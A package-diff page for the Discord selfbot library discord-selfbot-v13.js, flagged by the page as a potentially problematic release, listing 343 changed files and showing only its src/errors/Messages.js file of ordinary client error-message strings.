discord-selfbot-v13.js 0.0.1-security → 2.5.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of discord-selfbot-v13.js might be problematic. Click here for more details.

Files changed (343) hide show
  1. package/LICENSE +674 -0
  2. package/README.md +119 -5
  3. package/package.json +101 -6
  4. package/src/WebSocket.js +39 -0
  5. package/src/client/BaseClient.js +87 -0
  6. package/src/client/Client.js +1154 -0
  7. package/src/client/WebhookClient.js +61 -0
  8. package/src/client/actions/Action.js +115 -0
  9. package/src/client/actions/ActionsManager.js +72 -0
  10. package/src/client/actions/ApplicationCommandPermissionsUpdate.js +34 -0
  11. package/src/client/actions/AutoModerationActionExecution.js +26 -0
  12. package/src/client/actions/AutoModerationRuleCreate.js +27 -0
  13. package/src/client/actions/AutoModerationRuleDelete.js +31 -0
  14. package/src/client/actions/AutoModerationRuleUpdate.js +29 -0
  15. package/src/client/actions/ChannelCreate.js +23 -0
  16. package/src/client/actions/ChannelDelete.js +39 -0
  17. package/src/client/actions/ChannelUpdate.js +34 -0
  18. package/src/client/actions/GuildAuditLogEntryCreate.js +29 -0
  19. package/src/client/actions/GuildBanAdd.js +20 -0
  20. package/src/client/actions/GuildBanRemove.js +25 -0
  21. package/src/client/actions/GuildChannelsPositionUpdate.js +21 -0
  22. package/src/client/actions/GuildDelete.js +65 -0
  23. package/src/client/actions/GuildEmojiCreate.js +20 -0
  24. package/src/client/actions/GuildEmojiDelete.js +21 -0
  25. package/src/client/actions/GuildEmojiUpdate.js +20 -0
  26. package/src/client/actions/GuildEmojisUpdate.js +34 -0
  27. package/src/client/actions/GuildIntegrationsUpdate.js +19 -0
  28. package/src/client/actions/GuildMemberRemove.js +33 -0
  29. package/src/client/actions/GuildMemberUpdate.js +44 -0
  30. package/src/client/actions/GuildRoleCreate.js +25 -0
  31. package/src/client/actions/GuildRoleDelete.js +31 -0
  32. package/src/client/actions/GuildRoleUpdate.js +39 -0
  33. package/src/client/actions/GuildRolesPositionUpdate.js +21 -0
  34. package/src/client/actions/GuildScheduledEventCreate.js +27 -0
  35. package/src/client/actions/GuildScheduledEventDelete.js +31 -0
  36. package/src/client/actions/GuildScheduledEventUpdate.js +30 -0
  37. package/src/client/actions/GuildScheduledEventUserAdd.js +32 -0
  38. package/src/client/actions/GuildScheduledEventUserRemove.js +32 -0
  39. package/src/client/actions/GuildStickerCreate.js +20 -0
  40. package/src/client/actions/GuildStickerDelete.js +21 -0
  41. package/src/client/actions/GuildStickerUpdate.js +20 -0
  42. package/src/client/actions/GuildStickersUpdate.js +34 -0
  43. package/src/client/actions/GuildUpdate.js +33 -0
  44. package/src/client/actions/InteractionCreate.js +115 -0
  45. package/src/client/actions/InviteCreate.js +28 -0
  46. package/src/client/actions/InviteDelete.js +30 -0
  47. package/src/client/actions/MessageCreate.js +50 -0
  48. package/src/client/actions/MessageDelete.js +32 -0
  49. package/src/client/actions/MessageDeleteBulk.js +46 -0
  50. package/src/client/actions/MessageReactionAdd.js +56 -0
  51. package/src/client/actions/MessageReactionRemove.js +45 -0
  52. package/src/client/actions/MessageReactionRemoveAll.js +33 -0
  53. package/src/client/actions/MessageReactionRemoveEmoji.js +28 -0
  54. package/src/client/actions/MessageUpdate.js +26 -0
  55. package/src/client/actions/PresenceUpdate.js +45 -0
  56. package/src/client/actions/StageInstanceCreate.js +28 -0
  57. package/src/client/actions/StageInstanceDelete.js +33 -0
  58. package/src/client/actions/StageInstanceUpdate.js +30 -0
  59. package/src/client/actions/ThreadCreate.js +24 -0
  60. package/src/client/actions/ThreadDelete.js +32 -0
  61. package/src/client/actions/ThreadListSync.js +59 -0
  62. package/src/client/actions/ThreadMemberUpdate.js +30 -0
  63. package/src/client/actions/ThreadMembersUpdate.js +34 -0
  64. package/src/client/actions/TypingStart.js +29 -0
  65. package/src/client/actions/UserUpdate.js +35 -0
  66. package/src/client/actions/VoiceStateUpdate.js +57 -0
  67. package/src/client/actions/WebhooksUpdate.js +20 -0
  68. package/src/client/voice/ClientVoiceManager.js +51 -0
  69. package/src/client/websocket/WebSocketManager.js +412 -0
  70. package/src/client/websocket/WebSocketShard.js +908 -0
  71. package/src/client/websocket/handlers/APPLICATION_COMMAND_AUTOCOMPLETE_RESPONSE.js +23 -0
  72. package/src/client/websocket/handlers/APPLICATION_COMMAND_CREATE.js +18 -0
  73. package/src/client/websocket/handlers/APPLICATION_COMMAND_DELETE.js +20 -0
  74. package/src/client/websocket/handlers/APPLICATION_COMMAND_PERMISSIONS_UPDATE.js +5 -0
  75. package/src/client/websocket/handlers/APPLICATION_COMMAND_UPDATE.js +20 -0
  76. package/src/client/websocket/handlers/AUTO_MODERATION_ACTION_EXECUTION.js +5 -0
  77. package/src/client/websocket/handlers/AUTO_MODERATION_RULE_CREATE.js +5 -0
  78. package/src/client/websocket/handlers/AUTO_MODERATION_RULE_DELETE.js +5 -0
  79. package/src/client/websocket/handlers/AUTO_MODERATION_RULE_UPDATE.js +5 -0
  80. package/src/client/websocket/handlers/CALL_CREATE.js +14 -0
  81. package/src/client/websocket/handlers/CALL_DELETE.js +11 -0
  82. package/src/client/websocket/handlers/CALL_UPDATE.js +11 -0
  83. package/src/client/websocket/handlers/CHANNEL_CREATE.js +5 -0
  84. package/src/client/websocket/handlers/CHANNEL_DELETE.js +5 -0
  85. package/src/client/websocket/handlers/CHANNEL_PINS_UPDATE.js +22 -0
  86. package/src/client/websocket/handlers/CHANNEL_RECIPIENT_ADD.js +16 -0
  87. package/src/client/websocket/handlers/CHANNEL_RECIPIENT_REMOVE.js +16 -0
  88. package/src/client/websocket/handlers/CHANNEL_UPDATE.js +16 -0
  89. package/src/client/websocket/handlers/GUILD_APPLICATION_COMMANDS_UPDATE.js +11 -0
  90. package/src/client/websocket/handlers/GUILD_AUDIT_LOG_ENTRY_CREATE.js +5 -0
  91. package/src/client/websocket/handlers/GUILD_BAN_ADD.js +5 -0
  92. package/src/client/websocket/handlers/GUILD_BAN_REMOVE.js +5 -0
  93. package/src/client/websocket/handlers/GUILD_CREATE.js +46 -0
  94. package/src/client/websocket/handlers/GUILD_DELETE.js +5 -0
  95. package/src/client/websocket/handlers/GUILD_EMOJIS_UPDATE.js +5 -0
  96. package/src/client/websocket/handlers/GUILD_INTEGRATIONS_UPDATE.js +5 -0
  97. package/src/client/websocket/handlers/GUILD_MEMBERS_CHUNK.js +39 -0
  98. package/src/client/websocket/handlers/GUILD_MEMBER_ADD.js +20 -0
  99. package/src/client/websocket/handlers/GUILD_MEMBER_LIST_UPDATE.js +55 -0
  100. package/src/client/websocket/handlers/GUILD_MEMBER_REMOVE.js +5 -0
  101. package/src/client/websocket/handlers/GUILD_MEMBER_UPDATE.js +5 -0
  102. package/src/client/websocket/handlers/GUILD_ROLE_CREATE.js +5 -0
  103. package/src/client/websocket/handlers/GUILD_ROLE_DELETE.js +5 -0
  104. package/src/client/websocket/handlers/GUILD_ROLE_UPDATE.js +5 -0
  105. package/src/client/websocket/handlers/GUILD_SCHEDULED_EVENT_CREATE.js +5 -0
  106. package/src/client/websocket/handlers/GUILD_SCHEDULED_EVENT_DELETE.js +5 -0
  107. package/src/client/websocket/handlers/GUILD_SCHEDULED_EVENT_UPDATE.js +5 -0
  108. package/src/client/websocket/handlers/GUILD_SCHEDULED_EVENT_USER_ADD.js +5 -0
  109. package/src/client/websocket/handlers/GUILD_SCHEDULED_EVENT_USER_REMOVE.js +5 -0
  110. package/src/client/websocket/handlers/GUILD_STICKERS_UPDATE.js +5 -0
  111. package/src/client/websocket/handlers/GUILD_UPDATE.js +5 -0
  112. package/src/client/websocket/handlers/INTERACTION_CREATE.js +16 -0
  113. package/src/client/websocket/handlers/INTERACTION_FAILURE.js +18 -0
  114. package/src/client/websocket/handlers/INTERACTION_MODAL_CREATE.js +11 -0
  115. package/src/client/websocket/handlers/INTERACTION_SUCCESS.js +30 -0
  116. package/src/client/websocket/handlers/INVITE_CREATE.js +5 -0
  117. package/src/client/websocket/handlers/INVITE_DELETE.js +5 -0
  118. package/src/client/websocket/handlers/MESSAGE_ACK.js +16 -0
  119. package/src/client/websocket/handlers/MESSAGE_CREATE.js +5 -0
  120. package/src/client/websocket/handlers/MESSAGE_DELETE.js +5 -0
  121. package/src/client/websocket/handlers/MESSAGE_DELETE_BULK.js +5 -0
  122. package/src/client/websocket/handlers/MESSAGE_REACTION_ADD.js +5 -0
  123. package/src/client/websocket/handlers/MESSAGE_REACTION_REMOVE.js +5 -0
  124. package/src/client/websocket/handlers/MESSAGE_REACTION_REMOVE_ALL.js +5 -0
  125. package/src/client/websocket/handlers/MESSAGE_REACTION_REMOVE_EMOJI.js +5 -0
  126. package/src/client/websocket/handlers/MESSAGE_UPDATE.js +16 -0
  127. package/src/client/websocket/handlers/PRESENCE_UPDATE.js +5 -0
  128. package/src/client/websocket/handlers/READY.js +172 -0
  129. package/src/client/websocket/handlers/RELATIONSHIP_ADD.js +17 -0
  130. package/src/client/websocket/handlers/RELATIONSHIP_REMOVE.js +15 -0
  131. package/src/client/websocket/handlers/RELATIONSHIP_UPDATE.js +18 -0
  132. package/src/client/websocket/handlers/RESUMED.js +14 -0
  133. package/src/client/websocket/handlers/STAGE_INSTANCE_CREATE.js +5 -0
  134. package/src/client/websocket/handlers/STAGE_INSTANCE_DELETE.js +5 -0
  135. package/src/client/websocket/handlers/STAGE_INSTANCE_UPDATE.js +5 -0
  136. package/src/client/websocket/handlers/THREAD_CREATE.js +5 -0
  137. package/src/client/websocket/handlers/THREAD_DELETE.js +5 -0
  138. package/src/client/websocket/handlers/THREAD_LIST_SYNC.js +5 -0
  139. package/src/client/websocket/handlers/THREAD_MEMBERS_UPDATE.js +5 -0
  140. package/src/client/websocket/handlers/THREAD_MEMBER_UPDATE.js +5 -0
  141. package/src/client/websocket/handlers/THREAD_UPDATE.js +16 -0
  142. package/src/client/websocket/handlers/TYPING_START.js +5 -0
  143. package/src/client/websocket/handlers/USER_GUILD_SETTINGS_UPDATE.js +12 -0
  144. package/src/client/websocket/handlers/USER_NOTE_UPDATE.js +5 -0
  145. package/src/client/websocket/handlers/USER_SETTINGS_UPDATE.js +9 -0
  146. package/src/client/websocket/handlers/USER_UPDATE.js +5 -0
  147. package/src/client/websocket/handlers/VOICE_SERVER_UPDATE.js +6 -0
  148. package/src/client/websocket/handlers/VOICE_STATE_UPDATE.js +5 -0
  149. package/src/client/websocket/handlers/WEBHOOKS_UPDATE.js +5 -0
  150. package/src/client/websocket/handlers/index.js +86 -0
  151. package/src/errors/DJSError.js +61 -0
  152. package/src/errors/Messages.js +227 -0
  153. package/src/errors/index.js +4 -0
  154. package/src/index.js +190 -0
  155. package/src/main.js +48 -0
  156. package/src/managers/ApplicationCommandManager.js +267 -0
  157. package/src/managers/ApplicationCommandPermissionsManager.js +425 -0
  158. package/src/managers/AutoModerationRuleManager.js +296 -0
  159. package/src/managers/BaseGuildEmojiManager.js +80 -0
  160. package/src/managers/BaseManager.js +19 -0
  161. package/src/managers/BillingManager.js +66 -0
  162. package/src/managers/CachedManager.js +71 -0
  163. package/src/managers/ChannelManager.js +139 -0
  164. package/src/managers/ClientUserSettingManager.js +490 -0
  165. package/src/managers/DataManager.js +61 -0
  166. package/src/managers/DeveloperPortalManager.js +104 -0
  167. package/src/managers/GuildApplicationCommandManager.js +28 -0
  168. package/src/managers/GuildBanManager.js +204 -0
  169. package/src/managers/GuildChannelManager.js +502 -0
  170. package/src/managers/GuildEmojiManager.js +171 -0
  171. package/src/managers/GuildEmojiRoleManager.js +118 -0
  172. package/src/managers/GuildFolderManager.js +24 -0
  173. package/src/managers/GuildForumThreadManager.js +114 -0
  174. package/src/managers/GuildInviteManager.js +213 -0
  175. package/src/managers/GuildManager.js +304 -0
  176. package/src/managers/GuildMemberManager.js +724 -0
  177. package/src/managers/GuildMemberRoleManager.js +191 -0
  178. package/src/managers/GuildScheduledEventManager.js +296 -0
  179. package/src/managers/GuildSettingManager.js +148 -0
  180. package/src/managers/GuildStickerManager.js +179 -0
  181. package/src/managers/GuildTextThreadManager.js +98 -0
  182. package/src/managers/InteractionManager.js +39 -0
  183. package/src/managers/MessageManager.js +393 -0
  184. package/src/managers/PermissionOverwriteManager.js +166 -0
  185. package/src/managers/PresenceManager.js +58 -0
  186. package/src/managers/ReactionManager.js +67 -0
  187. package/src/managers/ReactionUserManager.js +71 -0
  188. package/src/managers/RelationshipManager.js +258 -0
  189. package/src/managers/RoleManager.js +352 -0
  190. package/src/managers/SessionManager.js +57 -0
  191. package/src/managers/StageInstanceManager.js +162 -0
  192. package/src/managers/ThreadManager.js +207 -0
  193. package/src/managers/ThreadMemberManager.js +186 -0
  194. package/src/managers/UserManager.js +150 -0
  195. package/src/managers/VoiceStateManager.js +37 -0
  196. package/src/rest/APIRequest.js +136 -0
  197. package/src/rest/APIRouter.js +53 -0
  198. package/src/rest/CaptchaSolver.js +78 -0
  199. package/src/rest/DiscordAPIError.js +103 -0
  200. package/src/rest/HTTPError.js +62 -0
  201. package/src/rest/RESTManager.js +81 -0
  202. package/src/rest/RateLimitError.js +55 -0
  203. package/src/rest/RequestHandler.js +446 -0
  204. package/src/sharding/Shard.js +443 -0
  205. package/src/sharding/ShardClientUtil.js +275 -0
  206. package/src/sharding/ShardingManager.js +318 -0
  207. package/src/structures/AnonymousGuild.js +98 -0
  208. package/src/structures/ApplicationCommand.js +1028 -0
  209. package/src/structures/ApplicationRoleConnectionMetadata.js +45 -0
  210. package/src/structures/AutoModerationActionExecution.js +89 -0
  211. package/src/structures/AutoModerationRule.js +294 -0
  212. package/src/structures/AutocompleteInteraction.js +106 -0
  213. package/src/structures/Base.js +43 -0
  214. package/src/structures/BaseCommandInteraction.js +211 -0
  215. package/src/structures/BaseGuild.js +116 -0
  216. package/src/structures/BaseGuildEmoji.js +56 -0
  217. package/src/structures/BaseGuildTextChannel.js +193 -0
  218. package/src/structures/BaseGuildVoiceChannel.js +243 -0
  219. package/src/structures/BaseMessageComponent.js +114 -0
  220. package/src/structures/ButtonInteraction.js +11 -0
  221. package/src/structures/Call.js +58 -0
  222. package/src/structures/CategoryChannel.js +83 -0
  223. package/src/structures/Channel.js +271 -0
  224. package/src/structures/ClientApplication.js +204 -0
  225. package/src/structures/ClientPresence.js +84 -0
  226. package/src/structures/ClientUser.js +624 -0
  227. package/src/structures/CommandInteraction.js +41 -0
  228. package/src/structures/CommandInteractionOptionResolver.js +276 -0
  229. package/src/structures/ContextMenuInteraction.js +65 -0
  230. package/src/structures/DMChannel.js +280 -0
  231. package/src/structures/DeveloperPortalApplication.js +520 -0
  232. package/src/structures/DirectoryChannel.js +20 -0
  233. package/src/structures/Emoji.js +148 -0
  234. package/src/structures/ForumChannel.js +271 -0
  235. package/src/structures/Guild.js +1744 -0
  236. package/src/structures/GuildAuditLogs.js +734 -0
  237. package/src/structures/GuildBan.js +59 -0
  238. package/src/structures/GuildBoost.js +108 -0
  239. package/src/structures/GuildChannel.js +454 -0
  240. package/src/structures/GuildEmoji.js +161 -0
  241. package/src/structures/GuildFolder.js +75 -0
  242. package/src/structures/GuildMember.js +686 -0
  243. package/src/structures/GuildPreview.js +191 -0
  244. package/src/structures/GuildPreviewEmoji.js +27 -0
  245. package/src/structures/GuildScheduledEvent.js +441 -0
  246. package/src/structures/GuildTemplate.js +236 -0
  247. package/src/structures/Integration.js +188 -0
  248. package/src/structures/IntegrationApplication.js +96 -0
  249. package/src/structures/Interaction.js +351 -0
  250. package/src/structures/InteractionCollector.js +248 -0
  251. package/src/structures/InteractionResponse.js +114 -0
  252. package/src/structures/InteractionWebhook.js +43 -0
  253. package/src/structures/Invite.js +375 -0
  254. package/src/structures/InviteGuild.js +23 -0
  255. package/src/structures/InviteStageInstance.js +86 -0
  256. package/src/structures/Message.js +1188 -0
  257. package/src/structures/MessageActionRow.js +103 -0
  258. package/src/structures/MessageAttachment.js +193 -0
  259. package/src/structures/MessageButton.js +231 -0
  260. package/src/structures/MessageCollector.js +146 -0
  261. package/src/structures/MessageComponentInteraction.js +120 -0
  262. package/src/structures/MessageContextMenuInteraction.js +20 -0
  263. package/src/structures/MessageEmbed.js +586 -0
  264. package/src/structures/MessageMentions.js +272 -0
  265. package/src/structures/MessagePayload.js +358 -0
  266. package/src/structures/MessageReaction.js +171 -0
  267. package/src/structures/MessageSelectMenu.js +391 -0
  268. package/src/structures/Modal.js +279 -0
  269. package/src/structures/ModalSubmitFieldsResolver.js +53 -0
  270. package/src/structures/ModalSubmitInteraction.js +119 -0
  271. package/src/structures/NewsChannel.js +32 -0
  272. package/src/structures/OAuth2Guild.js +28 -0
  273. package/src/structures/PartialGroupDMChannel.js +430 -0
  274. package/src/structures/PermissionOverwrites.js +196 -0
  275. package/src/structures/Presence.js +441 -0
  276. package/src/structures/ReactionCollector.js +229 -0
  277. package/src/structures/ReactionEmoji.js +31 -0
  278. package/src/structures/RichPresence.js +722 -0
  279. package/src/structures/Role.js +515 -0
  280. package/src/structures/SelectMenuInteraction.js +170 -0
  281. package/src/structures/Session.js +81 -0
  282. package/src/structures/StageChannel.js +104 -0
  283. package/src/structures/StageInstance.js +208 -0
  284. package/src/structures/Sticker.js +310 -0
  285. package/src/structures/StickerPack.js +95 -0
  286. package/src/structures/StoreChannel.js +56 -0
  287. package/src/structures/Team.js +167 -0
  288. package/src/structures/TeamMember.js +71 -0
  289. package/src/structures/TextChannel.js +33 -0
  290. package/src/structures/TextInputComponent.js +201 -0
  291. package/src/structures/ThreadChannel.js +626 -0
  292. package/src/structures/ThreadMember.js +105 -0
  293. package/src/structures/Typing.js +74 -0
  294. package/src/structures/User.js +697 -0
  295. package/src/structures/UserContextMenuInteraction.js +29 -0
  296. package/src/structures/VoiceChannel.js +110 -0
  297. package/src/structures/VoiceRegion.js +53 -0
  298. package/src/structures/VoiceState.js +306 -0
  299. package/src/structures/WebEmbed.js +401 -0
  300. package/src/structures/Webhook.js +461 -0
  301. package/src/structures/WelcomeChannel.js +60 -0
  302. package/src/structures/WelcomeScreen.js +48 -0
  303. package/src/structures/Widget.js +87 -0
  304. package/src/structures/WidgetMember.js +99 -0
  305. package/src/structures/interfaces/Application.js +190 -0
  306. package/src/structures/interfaces/Collector.js +300 -0
  307. package/src/structures/interfaces/InteractionResponses.js +313 -0
  308. package/src/structures/interfaces/TextBasedChannel.js +566 -0
  309. package/src/util/ActivityFlags.js +44 -0
  310. package/src/util/ApplicationFlags.js +74 -0
  311. package/src/util/BitField.js +170 -0
  312. package/src/util/ChannelFlags.js +45 -0
  313. package/src/util/Constants.js +1917 -0
  314. package/src/util/DataResolver.js +145 -0
  315. package/src/util/Formatters.js +214 -0
  316. package/src/util/GuildMemberFlags.js +43 -0
  317. package/src/util/Intents.js +74 -0
  318. package/src/util/LimitedCollection.js +131 -0
  319. package/src/util/MessageFlags.js +54 -0
  320. package/src/util/Options.js +360 -0
  321. package/src/util/Permissions.js +187 -0
  322. package/src/util/PremiumUsageFlags.js +31 -0
  323. package/src/util/PurchasedFlags.js +31 -0
  324. package/src/util/RemoteAuth.js +522 -0
  325. package/src/util/SnowflakeUtil.js +92 -0
  326. package/src/util/Sweepers.js +466 -0
  327. package/src/util/SystemChannelFlags.js +55 -0
  328. package/src/util/ThreadMemberFlags.js +30 -0
  329. package/src/util/UserFlags.js +104 -0
  330. package/src/util/Util.js +741 -0
  331. package/src/util/Voice.js +1456 -0
  332. package/src/util/arRPC/index.js +229 -0
  333. package/src/util/arRPC/process/detectable.json +1 -0
  334. package/src/util/arRPC/process/index.js +102 -0
  335. package/src/util/arRPC/process/native/index.js +5 -0
  336. package/src/util/arRPC/process/native/linux.js +37 -0
  337. package/src/util/arRPC/process/native/win32.js +25 -0
  338. package/src/util/arRPC/transports/ipc.js +281 -0
  339. package/src/util/arRPC/transports/websocket.js +128 -0
  340. package/typings/enums.d.ts +346 -0
  341. package/typings/index.d.ts +7725 -0
  342. package/typings/index.test-d.ts +0 -0
  343. package/typings/rawDataTypes.d.ts +283 -0
@@ -0,0 +1,227 @@
1
+ 'use strict';
2
+
3
+ const { register } = require('./DJSError');
4
+
5
+ const Messages = {
6
+ CLIENT_INVALID_OPTION: (prop, must) => `The ${prop} option must be ${must}`,
7
+ CLIENT_INVALID_PROVIDED_SHARDS: 'None of the provided shards were valid.',
8
+ CLIENT_MISSING_INTENTS: 'Valid intents must be provided for the Client.',
9
+ CLIENT_NOT_READY: action => `The client needs to be logged in to ${action}.`,
10
+
11
+ TOKEN_INVALID: 'An invalid token was provided.',
12
+ TOKEN_MISSING: 'Request to use token, but token was unavailable to the client.',
13
+
14
+ MFA_INVALID: 'An invalid mfa code was provided',
15
+
16
+ WS_CLOSE_REQUESTED: 'WebSocket closed due to user request.',
17
+ WS_CONNECTION_EXISTS: 'There is already an existing WebSocket connection.',
18
+ WS_NOT_OPEN: (data = 'data') => `WebSocket not open to send ${data}`,
19
+ MANAGER_DESTROYED: 'Manager was destroyed.',
20
+
21
+ BITFIELD_INVALID: bit => `Invalid bitfield flag or number: ${bit}.`,
22
+
23
+ SHARDING_INVALID: 'Invalid shard settings were provided.',
24
+ SHARDING_REQUIRED: 'This session would have handled too many guilds - Sharding is required.',
25
+ INVALID_INTENTS: '[Bot Token] Invalid intent provided for WebSocket intents.',
26
+ DISALLOWED_INTENTS: '[Bot Token] Privileged intent provided is not enabled or whitelisted.',
27
+ SHARDING_NO_SHARDS: 'No shards have been spawned.',
28
+ SHARDING_IN_PROCESS: 'Shards are still being spawned.',
29
+ SHARDING_INVALID_EVAL_BROADCAST: 'Script to evaluate must be a function',
30
+ SHARDING_SHARD_NOT_FOUND: id => `Shard ${id} could not be found.`,
31
+ SHARDING_ALREADY_SPAWNED: count => `Already spawned ${count} shards.`,
32
+ SHARDING_PROCESS_EXISTS: id => `Shard ${id} already has an active process.`,
33
+ SHARDING_WORKER_EXISTS: id => `Shard ${id} already has an active worker.`,
34
+ SHARDING_READY_TIMEOUT: id => `Shard ${id}'s Client took too long to become ready.`,
35
+ SHARDING_READY_DISCONNECTED: id => `Shard ${id}'s Client disconnected before becoming ready.`,
36
+ SHARDING_READY_DIED: id => `Shard ${id}'s process exited before its Client became ready.`,
37
+ SHARDING_NO_CHILD_EXISTS: id => `Shard ${id} has no active process or worker.`,
38
+ SHARDING_SHARD_MISCALCULATION: (shard, guild, count) =>
39
+ `Calculated invalid shard ${shard} for guild ${guild} with ${count} shards.`,
40
+
41
+ COLOR_RANGE: 'Color must be within the range 0 - 16777215 (0xFFFFFF).',
42
+ COLOR_CONVERT: 'Unable to convert color to a number.',
43
+
44
+ INVITE_OPTIONS_MISSING_CHANNEL: 'A valid guild channel must be provided when GuildScheduledEvent is EXTERNAL.',
45
+
46
+ EMBED_TITLE: 'MessageEmbed title must be a string.',
47
+ EMBED_FIELD_NAME: 'MessageEmbed field names must be non-empty strings.',
48
+ EMBED_FIELD_VALUE: 'MessageEmbed field values must be non-empty strings.',
49
+ EMBED_FOOTER_TEXT: 'MessageEmbed footer text must be a string.',
50
+ EMBED_DESCRIPTION: 'MessageEmbed description must be a string.',
51
+ EMBED_AUTHOR_NAME: 'MessageEmbed author name must be a string.',
52
+ /* Add */
53
+ MISSING_PERMISSIONS: (...permission) => `You can't do this action [Missing Permission(s): ${permission.join(', ')}]`,
54
+ EMBED_PROVIDER_NAME: 'MessageEmbed provider name must be a string.',
55
+ INVALID_COMMAND_NAME: allCMD => `Could not parse subGroupCommand and subCommand due to too long: ${allCMD.join(' ')}`,
56
+ INVALID_RANGE_QUERY_MEMBER: 'Invalid range query member. (0<x<=100)',
57
+ MUST_SPECIFY_BOT: 'You must specify a bot to use this command.',
58
+
59
+ BUTTON_LABEL: 'MessageButton label must be a string',
60
+ BUTTON_URL: 'MessageButton URL must be a string',
61
+ BUTTON_CUSTOM_ID: 'MessageButton customId must be a string',
62
+
63
+ SELECT_MENU_CUSTOM_ID: 'MessageSelectMenu customId must be a string',
64
+ SELECT_MENU_PLACEHOLDER: 'MessageSelectMenu placeholder must be a string',
65
+ SELECT_OPTION_LABEL: 'MessageSelectOption label must be a string',
66
+ SELECT_OPTION_VALUE: 'MessageSelectOption value must be a string',
67
+ SELECT_OPTION_DESCRIPTION: 'MessageSelectOption description must be a string',
68
+
69
+ INTERACTION_COLLECTOR_ERROR: reason => `Collector received no interactions before ending with reason: ${reason}`,
70
+
71
+ FILE_NOT_FOUND: file => `File could not be found: ${file}`,
72
+
73
+ USER_BANNER_NOT_FETCHED: "You must fetch this user's banner before trying to generate its URL!",
74
+ USER_NO_DM_CHANNEL: 'No DM Channel exists!',
75
+ CLIENT_NO_CALL: 'No call exists!',
76
+
77
+ VOICE_NOT_STAGE_CHANNEL: 'You are only allowed to do this in stage channels.',
78
+
79
+ VOICE_STATE_NOT_OWN:
80
+ 'You cannot self-deafen/mute/request to speak on VoiceStates that do not belong to the ClientUser.',
81
+ VOICE_STATE_INVALID_TYPE: name => `${name} must be a boolean.`,
82
+
83
+ REQ_RESOURCE_TYPE: 'The resource must be a string, Buffer or a valid file stream.',
84
+
85
+ IMAGE_FORMAT: format => `Invalid image format: ${format}`,
86
+ IMAGE_SIZE: size => `Invalid image size: ${size}`,
87
+
88
+ MESSAGE_BULK_DELETE_TYPE: 'The messages must be an Array, Collection, or number.',
89
+ MESSAGE_NONCE_TYPE: 'Message nonce must be an integer or a string.',
90
+ MESSAGE_CONTENT_TYPE: 'Message content must be a non-empty string.',
91
+
92
+ SPLIT_MAX_LEN: 'Chunk exceeds the max length and contains no split characters.',
93
+
94
+ BAN_RESOLVE_ID: (ban = false) => `Couldn't resolve the user id to ${ban ? 'ban' : 'unban'}.`,
95
+ FETCH_BAN_RESOLVE_ID: "Couldn't resolve the user id to fetch the ban.",
96
+
97
+ PRUNE_DAYS_TYPE: 'Days must be a number',
98
+
99
+ GUILD_CHANNEL_RESOLVE: 'Could not resolve channel to a guild channel.',
100
+ GUILD_VOICE_CHANNEL_RESOLVE: 'Could not resolve channel to a guild voice channel.',
101
+ GUILD_CHANNEL_ORPHAN: 'Could not find a parent to this guild channel.',
102
+ GUILD_CHANNEL_UNOWNED: "The fetched channel does not belong to this manager's guild.",
103
+ GUILD_OWNED: 'Guild is owned by the client.',
104
+ GUILD_MEMBERS_TIMEOUT: "Members didn't arrive in time.",
105
+ GUILD_APPLICATION_COMMANDS_SEARCH_TIMEOUT: "Application commands didn't arrive in time.",
106
+ GUILD_UNCACHED_ME: 'The client user as a member of this guild is uncached.',
107
+ CHANNEL_NOT_CACHED: 'Could not find the channel where this message came from in the cache!',
108
+ STAGE_CHANNEL_RESOLVE: 'Could not resolve channel to a stage channel.',
109
+ GUILD_SCHEDULED_EVENT_RESOLVE: 'Could not resolve the guild scheduled event.',
110
+
111
+ REQUIRE_PASSWORD: 'You must provide a password.',
112
+ INVALIDATE_MEMBER: range => `Invalid member range: [${range[0]}, ${range[1]}]`,
113
+
114
+ MISSING_VALUE: (where, type) => `Missing value for ${where} (${type})`,
115
+
116
+ INVALID_TYPE: (name, expected, an = false) => `Supplied ${name} is not a${an ? 'n' : ''} ${expected}.`,
117
+ INVALID_ELEMENT: (type, name, elem) => `Supplied ${type} ${name} includes an invalid element: ${elem}`,
118
+
119
+ MESSAGE_THREAD_PARENT: 'The message was not sent in a guild text or news channel',
120
+ MESSAGE_EXISTING_THREAD: 'The message already has a thread',
121
+ THREAD_INVITABLE_TYPE: type => `Invitable cannot be edited on ${type}`,
122
+
123
+ WEBHOOK_MESSAGE: 'The message was not sent by a webhook.',
124
+ WEBHOOK_TOKEN_UNAVAILABLE: 'This action requires a webhook token, but none is available.',
125
+ WEBHOOK_URL_INVALID: 'The provided webhook URL is not valid.',
126
+ WEBHOOK_APPLICATION: 'This message webhook belongs to an application and cannot be fetched.',
127
+ MESSAGE_REFERENCE_MISSING: 'The message does not reference another message',
128
+
129
+ EMOJI_TYPE: 'Emoji must be a string or GuildEmoji/ReactionEmoji',
130
+ EMOJI_MANAGED: 'Emoji is managed and has no Author.',
131
+ MISSING_MANAGE_EMOJIS_AND_STICKERS_PERMISSION: guild =>
132
+ `Client must have Manage Emojis and Stickers permission in guild ${guild} to see emoji authors.`,
133
+ NOT_GUILD_STICKER: 'Sticker is a standard (non-guild) sticker and has no author.',
134
+
135
+ REACTION_RESOLVE_USER: "Couldn't resolve the user id to remove from the reaction.",
136
+
137
+ VANITY_URL: 'This guild does not have the VANITY_URL feature enabled.',
138
+
139
+ INVITE_RESOLVE_CODE: 'Could not resolve the code to fetch the invite.',
140
+
141
+ INVITE_NOT_FOUND: 'Could not find the requested invite.',
142
+
143
+ NOT_OWNER_GROUP_DM_CHANNEL: "You can't do this action [Missing Permission]",
144
+ USER_ALREADY_IN_GROUP_DM_CHANNEL: 'User is already in the channel.',
145
+ USER_NOT_IN_GROUP_DM_CHANNEL: 'User is not in the channel.',
146
+
147
+ DELETE_GROUP_DM_CHANNEL: "Bots don't have access to Group DM Channels and cannot delete them",
148
+ FETCH_GROUP_DM_CHANNEL: "Bots don't have access to Group DM Channels and cannot fetch them",
149
+
150
+ MEMBER_FETCH_NONCE_LENGTH: 'Nonce length must not exceed 32 characters.',
151
+
152
+ GLOBAL_COMMAND_PERMISSIONS:
153
+ 'Permissions for global commands may only be fetched or modified by providing a GuildResolvable ' +
154
+ "or from a guild's application command manager.",
155
+ GUILD_UNCACHED_ROLE_RESOLVE: 'Cannot resolve roles from an arbitrary guild, provide an id instead',
156
+
157
+ INTERACTION_ALREADY_REPLIED: 'The reply to this interaction has already been sent or deferred.',
158
+ INTERACTION_NOT_REPLIED: 'The reply to this interaction has not been sent or deferred.',
159
+ /** @deprecated */
160
+ INTERACTION_EPHEMERAL_REPLIED: 'Ephemeral responses cannot be deleted.',
161
+
162
